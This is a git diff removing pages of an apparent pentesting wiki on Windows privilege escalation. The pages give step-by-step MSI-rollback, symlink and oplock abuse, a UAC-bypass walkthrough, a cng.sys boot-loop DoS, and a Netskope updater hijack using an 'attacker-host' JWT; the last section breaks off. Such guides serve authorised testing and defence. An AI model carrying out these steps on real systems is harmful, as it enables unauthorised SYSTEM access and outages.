-## Leaked Handlers
-
-Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
-Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
-[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
-[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
-
-## Named Pipe Client Impersonation
-
-Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
-
-Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**.
-
-When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system).
-
-Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
-
-## Telephony tapsrv remote DWORD write to RCE
-
-The Telephony service (TapiSrv) in server mode exposes `\\pipe\\tapsrv` (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn `ClientAttach` into an arbitrary **4-byte write** to any existing file writable by `NETWORK SERVICE`, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:
-
-- `ClientAttach` with `pszDomainUser` set to a writable existing path → the service opens it via `CreateFileW(..., OPEN_EXISTING)` and uses it for async event writes.
-- Each event writes the attacker-controlled `InitContext` from `Initialize` to that handle. Register a line app with `LRegisterRequestRecipient` (`Req_Func 61`), trigger `TRequestMakeCall` (`Req_Func 121`), fetch via `GetAsyncEvents` (`Req_Func 0`), then unregister/shutdown to repeat deterministic writes.
-- Add yourself to `[TapiAdministrators]` in `C:\Windows\TAPI\tsec.ini`, reconnect, then call `GetUIDllName` with an arbitrary DLL path to execute `TSPI_providerUIIdentify` as `NETWORK SERVICE`.
-
-More details:
-
-{{#ref}}
-telephony-tapsrv-arbitrary-dword-write-to-rce.md
-{{#endref}}
-
-## Misc
-
-### File Extensions that could execute stuff in Windows
-
-Check out the page **[https://filesec.io/](https://filesec.io/)**
-
-### Protocol handler / ShellExecute abuse via Markdown renderers
-
-Clickable Markdown links forwarded to `ShellExecuteExW` can trigger dangerous URI handlers (`file:`, `ms-appinstaller:` or any registered scheme) and execute attacker-controlled files as the current user. See:
-
-{{#ref}}
-../protocol-handler-shell-execute-abuse.md
-{{#endref}}
-
-### **Monitoring Command Lines for passwords**
-
-When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
-
-```bash
-while($true)
-{
-  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
-  Start-Sleep 1
-  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
-  Compare-Object -ReferenceObject $process -DifferenceObject $process2
-}
-```
-
-## Stealing passwords from processes
-
-## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
-
-If you have access to the graphical interface (via console or RDP) and UAC is enabled, in some versions of Microsoft Windows it's possible to run a terminal or any other process such as "NT\AUTHORITY SYSTEM" from an unprivileged user.
-
-This makes it possible to escalate privileges and bypass UAC at the same time with the same vulnerability. Additionally, there is no need to install anything and the binary used during the process, is signed and issued by Microsoft.
-
-Some of the affected systems are the following:
-
-```
-SERVER
-======
-
-Windows 2008r2	7601	** link OPENED AS SYSTEM **
-Windows 2012r2	9600	** link OPENED AS SYSTEM **
-Windows 2016	14393	** link OPENED AS SYSTEM **
-Windows 2019	17763	link NOT opened
-
-
-WORKSTATION
-===========
-
-Windows 7 SP1	7601	** link OPENED AS SYSTEM **
-Windows 8		9200	** link OPENED AS SYSTEM **
-Windows 8.1		9600	** link OPENED AS SYSTEM **
-Windows 10 1511	10240	** link OPENED AS SYSTEM **
-Windows 10 1607	14393	** link OPENED AS SYSTEM **
-Windows 10 1703	15063	link NOT opened
-Windows 10 1709	16299	link NOT opened
-```
-
-To exploit this vulnerability, it's necessary to perform the following steps:
-
-```
-1) Right click on the HHUPD.EXE file and run it as Administrator.
-
-2) When the UAC prompt appears, select "Show more details".
-
-3) Click "Show publisher certificate information".
-
-4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
-
-5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
-
-6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
-
-7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
-
-8) Remember to cancel setup and the UAC prompt to return to your desktop.
-```
-
-You have all the necessary files and information in the following GitHub repository:
-
-https://github.com/jas502n/CVE-2019-1388
-
-## From Administrator Medium to High Integrity Level / UAC Bypass
-
-Read this to **learn about Integrity Levels**:
-
-
-{{#ref}}
-integrity-levels.md
-{{#endref}}
-
-Then **read this to learn about UAC and UAC bypasses:**
-
-
-{{#ref}}
-../authentication-credentials-uac-and-efs/uac-user-account-control.md
-{{#endref}}
-
-## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
-
-The technique described [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) with a exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
-
-The attack basically consist of abusing the Windows Installer's rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a **malicious MSI installer** that will be used to hijack the `C:\Config.Msi` folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.
-
-The summarized technique is the following:
-
-1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)**
-
-- Step 1: Install the MSI
-    - Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`).
-    - Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it.
-    - Keep a **handle** open to the file after install.
-
-- Step 2: Begin Uninstall
-    - Uninstall the same `.msi`.
-    - The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups).
-    - **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\<random>.rbf`.
-
-- Step 3: Custom Syncing
-    - The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that:
-        - Signals when `.rbf` has been written.
-        - Then **waits** on another event before continuing the uninstall.
-
-- Step 4: Block Deletion of `.rbf`
-    - When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**.
-    - Then **signal back** so the uninstall can finish.
-    - Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**.
-
-- Step 5: Manually Delete `.rbf`
-    - You (attacker) delete the `.rbf` file manually.
-    - Now **`C:\Config.Msi` is empty**, ready to be hijacked.
-
-> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`.
-
-2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones**
-
-- Step 6: Recreate `C:\Config.Msi` with Weak ACLs
-    - Recreate the `C:\Config.Msi` folder yourself.
-    - Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`.
-
-- Step 7: Run Another Install
-    - Install the `.msi` again, with:
-        - `TARGETDIR`: Writable location.
-        - `ERROROUT`: A variable that triggers a forced failure.
-    - This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`.
-
-- Step 8: Monitor for `.rbs`
-    - Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears.
-    - Capture its filename.
-
-- Step 9: Sync Before Rollback
-    - The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that:
-        - Signals an event when the `.rbs` is created.
-        - Then **waits** before continuing.
-
-- Step 10: Reapply Weak ACL
-    - After receiving the `.rbs created` event:
-        - The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`.
-        - But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again.
-
-> ACLs are **only enforced on handle open**, so you can still write to the folder.
-
-- Step 11: Drop Fake `.rbs` and `.rbf`
-    - Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to:
-        - Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`).
-    - Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**.
-
-- Step 12: Trigger the Rollback
-    - Signal the sync event so the installer resumes.
-    - A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point.
-    - This causes **rollback to begin**.
-
-- Step 13: SYSTEM Installs Your DLL
-    - Windows Installer:
-        - Reads your malicious `.rbs`.
-        - Copies your `.rbf` DLL into the target location.
-    - You now have your **malicious DLL in a SYSTEM-loaded path**.
-
-- Final Step: Execute SYSTEM Code
-    - Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked.
-    - **Boom**: Your code is executed **as SYSTEM**.
-
-
-### From Arbitrary File Delete/Move/Rename to SYSTEM EoP
-
-The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ?
-
-You could exploit **NTFS internals**: every folder has a hidden alternate data stream called:
-
-```
-C:\SomeFolder::$INDEX_ALLOCATION
-```
-
-This stream stores the **index metadata** of the folder.
-
-So, if you **delete the `::$INDEX_ALLOCATION` stream** of a folder, NTFS **removes the entire folder** from the filesystem.
-
-You can do this using standard file deletion APIs like:
-```c
-DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
-```
-
-> Even though you're calling a *file* delete API, it **deletes the folder itself**.
-
-### From Folder Contents Delete to SYSTEM EoP
-What if your primitive doesn’t allow you to delete arbitrary files/folders, but it **does allow deletion of the *contents* of an attacker-controlled folder**?
-
-1. Step 1: Setup a bait folder and file
-- Create: `C:\temp\folder1`
-- Inside it: `C:\temp\folder1\file1.txt`
-
-2. Step 2: Place an **oplock** on `file1.txt`
-- The oplock **pauses execution** when a privileged process tries to delete `file1.txt`.
-
-```c
-// pseudo-code
-RequestOplock("C:\\temp\\folder1\\file1.txt");
-WaitForDeleteToTriggerOplock();
-```
-
-3. Step 3: Trigger SYSTEM process (e.g., `SilentCleanup`)
-- This process scans folders (e.g., `%TEMP%`) and tries to delete their contents.
-- When it reaches `file1.txt`, the **oplock triggers** and hands control to your callback.
-
-4. Step 4: Inside the oplock callback – redirect the deletion
-
-- Option A: Move `file1.txt` elsewhere
-    - This empties `folder1` without breaking the oplock.
-    - Don't delete `file1.txt` directly — that would release the oplock prematurely.
-
-- Option B: Convert `folder1` into a **junction**:
-
-```bash
-# folder1 is now a junction to \RPC Control (non-filesystem namespace)
-mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
-```
-
-- Option C: Create a **symlink** in `\RPC Control`:
-```bash
-# Make file1.txt point to a sensitive folder stream
-CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
-```
-
-> This targets the NTFS internal stream that stores folder metadata — deleting it deletes the folder.
-
-5. Step 5: Release the oplock
-- SYSTEM process continues and tries to delete `file1.txt`.
-- But now, due to the junction + symlink, it's actually deleting:
-```
-C:\Config.Msi::$INDEX_ALLOCATION
-```
-
-**Result**: `C:\Config.Msi` is deleted by SYSTEM.
-
-### From Arbitrary Folder Create to Permanent DoS
-
-Exploit a primitive that lets you **create an arbitrary folder as SYSTEM/admin** —  even if **you can’t write files** or **set weak permissions**.
-
-Create a **folder** (not a file) with the name of a **critical Windows driver**, e.g.:
-```
-C:\Windows\System32\cng.sys
-```
-
-- This path normally corresponds to the `cng.sys` kernel-mode driver.
-- If you **pre-create it as a folder**, Windows fails to load the actual driver on boot.
-- Then, Windows tries to load `cng.sys` during boot.
-- It sees the folder, **fails to resolve the actual driver**, and **crashes or halts boot**.
-- There’s **no fallback**, and **no recovery** without external intervention (e.g., boot repair or disk access).
-
-### From privileged log/backup paths + OM symlinks to arbitrary file overwrite / boot DoS
-
-When a **privileged service** writes logs/exports to a path read from a **writable config**, redirect that path with **Object Manager symlinks + NTFS mount points** to turn the privileged write into an arbitrary overwrite (even **without** SeCreateSymbolicLinkPrivilege).
-
-**Requirements**
-- Config storing the target path is writable by the attacker (e.g., `%ProgramData%\...\.ini`).
-- Ability to create a mount point to `\RPC Control` and an OM file symlink (James Forshaw [symboliclink-testing-tools](https://github.com/googleprojectzero/symboliclink-testing-tools)).
-- A privileged operation that writes to that path (log, export, report).
-
-**Example chain**
-1. Read the config to recover the privileged log destination, e.g. `SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt` in `C:\ProgramData\ICONICS\IcoSetup64.ini`.
-2. Redirect the path without admin:
-```cmd
-mkdir C:\users\iconics_user\AppData\Local\Temp\logs
-CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
-CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
-```
-3. Wait for the privileged component to write the log (e.g., admin triggers "send test SMS"). The write now lands in `C:\Windows\System32\cng.sys`.
-4. Inspect the overwritten target (hex/PE parser) to confirm corruption; reboot forces Windows to load the tampered driver path → **boot loop DoS**. This also generalizes to any protected file a privileged service will open for write.
-
-> `cng.sys` is normally loaded from `C:\Windows\System32\drivers\cng.sys`, but if a copy exists in `C:\Windows\System32\cng.sys` it can be attempted first, making it a reliable DoS sink for corrupt data.
-
-
-
-## **From High Integrity to System**
-
-### **New service**
-
-If you are already running on a High Integrity process, the **path to SYSTEM** can be easy just **creating and executing a new service**:
-
-```
-sc create newservicename binPath= "C:\windows\system32\notepad.exe"
-sc start newservicename
-```
-
-> [!TIP]
-> When creating a service binary make sure it's a valid service or that the binary performs the necessary actions to fast as it'll be killed in 20s if it's not a valid service.
-
-### AlwaysInstallElevated
-
-From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\
-[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
-
-### High + SeImpersonate privilege to System
-
-**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
-
-### From SeDebug + SeImpersonate to Full Token privileges
-
-If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **open almost any process** (not protected processes) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.\
-Using this technique is usually **selected any process running as SYSTEM with all the token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\
-**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.**
-
-### **Named Pipes**
-
-This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\
-If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\
-If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md).
-
-### Dll Hijacking
-
-If you manages to **hijack a dll** being **loaded** by a **process** running as **SYSTEM** you will be able to execute arbitrary code with those permissions. Therefore Dll Hijacking is also useful to this kind of privilege escalation, and, moreover, if far **more easy to achieve from a high integrity process** as it will have **write permissions** on the folders used to load dlls.\
-**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.**
-
-### **From Administrator or Network Service to System**
-
-- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator)
-- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/)
-- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit)
-
-### From LOCAL SERVICE or NETWORK SERVICE to full privs
-
-**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
-
-## More help
-
-[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
-
-## Useful tools
-
-**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
-
-**PS**
-
-[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
-[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Check for misconfigurations and sensitive files (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\
-[**JAWS**](https://github.com/411Hall/JAWS) **-- Check for some possible misconfigurations and gather info (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
-[**privesc** ](https://github.com/enjoiz/Privesc)**-- Check for misconfigurations**\
-[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. Use -Thorough in local.**\
-[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extracts crendentials from Credential Manager. Detected.**\
-[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray gathered passwords across domain**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is a PowerShell ADIDNS/LLMNR/mDNS spoofer and man-in-the-middle tool.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basic privesc Windows enumeration**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**~~ -- Search for known privesc vulnerabilities (DEPRECATED for Watson)\
-[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Local checks **(Need Admin rights)**
-
-**Exe**
-
-[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
-[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
-[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\
-[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~**~~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\
-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
-
-**Bat**
-
-[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Tool created based in this post (it does not need accesschk to work properly but it can use it).
-
-**Local**
-
-[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Reads the output of **systeminfo** and recommends working exploits (local python)\
-[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Reads the output of **systeminfo** andrecommends working exploits (local python)
-
-**Meterpreter**
-
-_multi/recon/local_exploit_suggestor_
-
-You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do:
-
-```
-C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
-```
-
-## References
-
-- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
-- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
-- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
-- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
-- [https://www.youtube.com/watch?v=_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
-- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
-- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
-- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
-- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
-- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
-- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
-- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
-- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
-
-- [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
-- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
-
-- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
-- [Unit 42 – Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/)
-- [Symbolic Link Testing Tools – CreateSymlink usage](https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt)
-- [A Link to the Past. Abusing Symbolic Links on Windows](https://infocon.org/cons/SyScan/SyScan%202015%20Singapore/SyScan%202015%20Singapore%20presentations/SyScan15%20James%20Forshaw%20-%20A%20Link%20to%20the%20Past.pdf)
-- [RIP RegPwn – MDSec](https://www.mdsec.co.uk/2026/03/rip-regpwn/)
-- [RegPwn BOF (Cobalt Strike BOF port)](https://github.com/Flangvik/RegPwnBOF)
-- [ZDI - Node.js Trust Falls: Dangerous Module Resolution on Windows](https://www.thezdi.com/blog/2026/4/8/nodejs-trust-falls-dangerous-module-resolution-on-windows)
-- [Node.js modules: loading from `node_modules` folders](https://nodejs.org/api/modules.html#loading-from-node_modules-folders)
-- [npm package.json: `optionalDependencies`](https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies)
-- [Process Monitor (Procmon)](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)
-- [Trail of Bits - C/C++ checklist challenges, solved](https://blog.trailofbits.com/2026/05/05/c/c-checklist-challenges-solved/)
-- [Microsoft Learn - RtlQueryRegistryValues function](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlqueryregistryvalues)
-- [PowerShell Gallery - NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager/2.0.1)
-- [sec-zone - CVE-2026-36213](https://github.com/sec-zone/CVE-2026-36213)
-- [sec-zone - Hijack-service-binaries](https://github.com/sec-zone/Hijack-service-binaries)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
deleted file mode 100644
index 07e598a31aa..00000000000
--- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
+++ /dev/null
@@ -1,379 +0,0 @@
-# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope, ASUS & MSI)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low-friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low-privileged user can coerce enrollment into an attacker-controlled server and then deliver a malicious MSI that the SYSTEM service installs.
-
-Key ideas you can reuse against similar products:
-- Abuse a privileged service’s localhost IPC to force re-enrollment or reconfiguration to an attacker server.
-- Implement the vendor’s update endpoints, deliver a rogue Trusted Root CA, and point the updater to a malicious, “signed” package.
-- Evade weak signer checks (CN allow-lists), optional digest flags, and lax MSI properties.
-- If IPC is “encrypted”, derive the key/IV from world-readable machine identifiers stored in the registry.
-- If the service restricts callers by image path/process name, inject into an allow-listed process or spawn one suspended and bootstrap your DLL via a minimal thread-context patch.
-
----
-## 1) Forcing enrollment to an attacker server via localhost IPC
-
-Many agents ship a user-mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
-
-Observed in Netskope:
-- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
-- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
-
-Exploit flow:
-1) Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
-2) Send the IPC message invoking the provisioning command with your JWT and tenant name:
-
-```json
-{
-  "148": {
-    "idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
-    "tenantName": "TestOrg"
-  }
-}
-```
-
-3) The service starts hitting your rogue server for enrollment/config, e.g.:
-- /v1/externalhost?service=enrollment
-- /config/user/getbrandingbyemail
-
-Notes:
-- If caller verification is path/name-based, originate the request from an allow-listed vendor binary (see §4).
-
----
-## 2) Hijacking the update channel to run code as SYSTEM
-
-Once the client talks to your server, implement the expected endpoints and steer it to an attacker MSI. Typical sequence:
-
-1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.:
-```json
-{
-  "clientUpdate": { "updateIntervalInMin": 1 },
-  "check_msi_digest": false
-}
-```
-2) /config/ca/cert → Return a PEM CA certificate. The service installs it into the Local Machine Trusted Root store.
-3) /v2/checkupdate → Supply metadata pointing to a malicious MSI and a fake version.
-
-Bypassing common checks seen in the wild:
-- Signer CN allow-list: the service may only check the Subject CN equals “netSkope Inc” or “Netskope, Inc.”. Your rogue CA can issue a leaf with that CN and sign the MSI.
-- CERT_DIGEST property: include a benign MSI property named CERT_DIGEST. No enforcement at install.
-- Optional digest enforcement: config flag (e.g., check_msi_digest=false) disables extra cryptographic validation.
-
-Result: the SYSTEM service installs your MSI from
-C:\ProgramData\Netskope\stAgent\data\*.msi
-executing arbitrary code as NT AUTHORITY\SYSTEM.
-
-Patch-bypass lesson: if a vendor responds by allow-listing a small set of “trusted” domains instead of cryptographically authenticating the update source, look for vendor-owned redirectors or reverse proxies that still let you steer traffic. In Netskope's case, public follow-up research showed that an R129-era allow-list could still be abused through `rproxy.goskope.com`, which proxied attacker-controlled Azure App Service content. Treat hostname allow-lists as a speed bump, not as a trust boundary.
-
----
-## 3) Forging encrypted IPC requests (when present)
-
-From R127, Netskope wrapped IPC JSON in an encryptData field that looks like Base64. Reversing showed AES with key/IV derived from registry values readable by any user:
-- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
-- IV  = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
-
-Attackers can reproduce encryption and send valid encrypted commands from a standard user. General tip: if an agent suddenly “encrypts” its IPC, look for device IDs, product GUIDs, install IDs under HKLM as material.
-
----
-## 4) Bypassing IPC caller allow-lists (path/name checks)
-
-Some services try to authenticate the peer by resolving the TCP connection’s PID and comparing the image path/name against allow-listed vendor binaries located under Program Files (e.g., stagentui.exe, bwansvc.exe, epdlp.exe).
-
-Two practical bypasses:
-- DLL injection into an allow-listed process (e.g., nsdiag.exe) and proxy IPC from inside it.
-- Spawn an allow-listed binary suspended and bootstrap your proxy DLL without CreateRemoteThread (see §5) to satisfy driver-enforced tamper rules.
-
----
-## 5) Tamper-protection friendly injection: suspended process + NtContinue patch
-
-Products often ship a minifilter/OB callbacks driver (e.g., Stadrv) to strip dangerous rights from handles to protected processes:
-- Process: removes PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
-- Thread: restricts to THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
-
-A reliable user-mode loader that respects these constraints:
-1) CreateProcess of a vendor binary with CREATE_SUSPENDED.
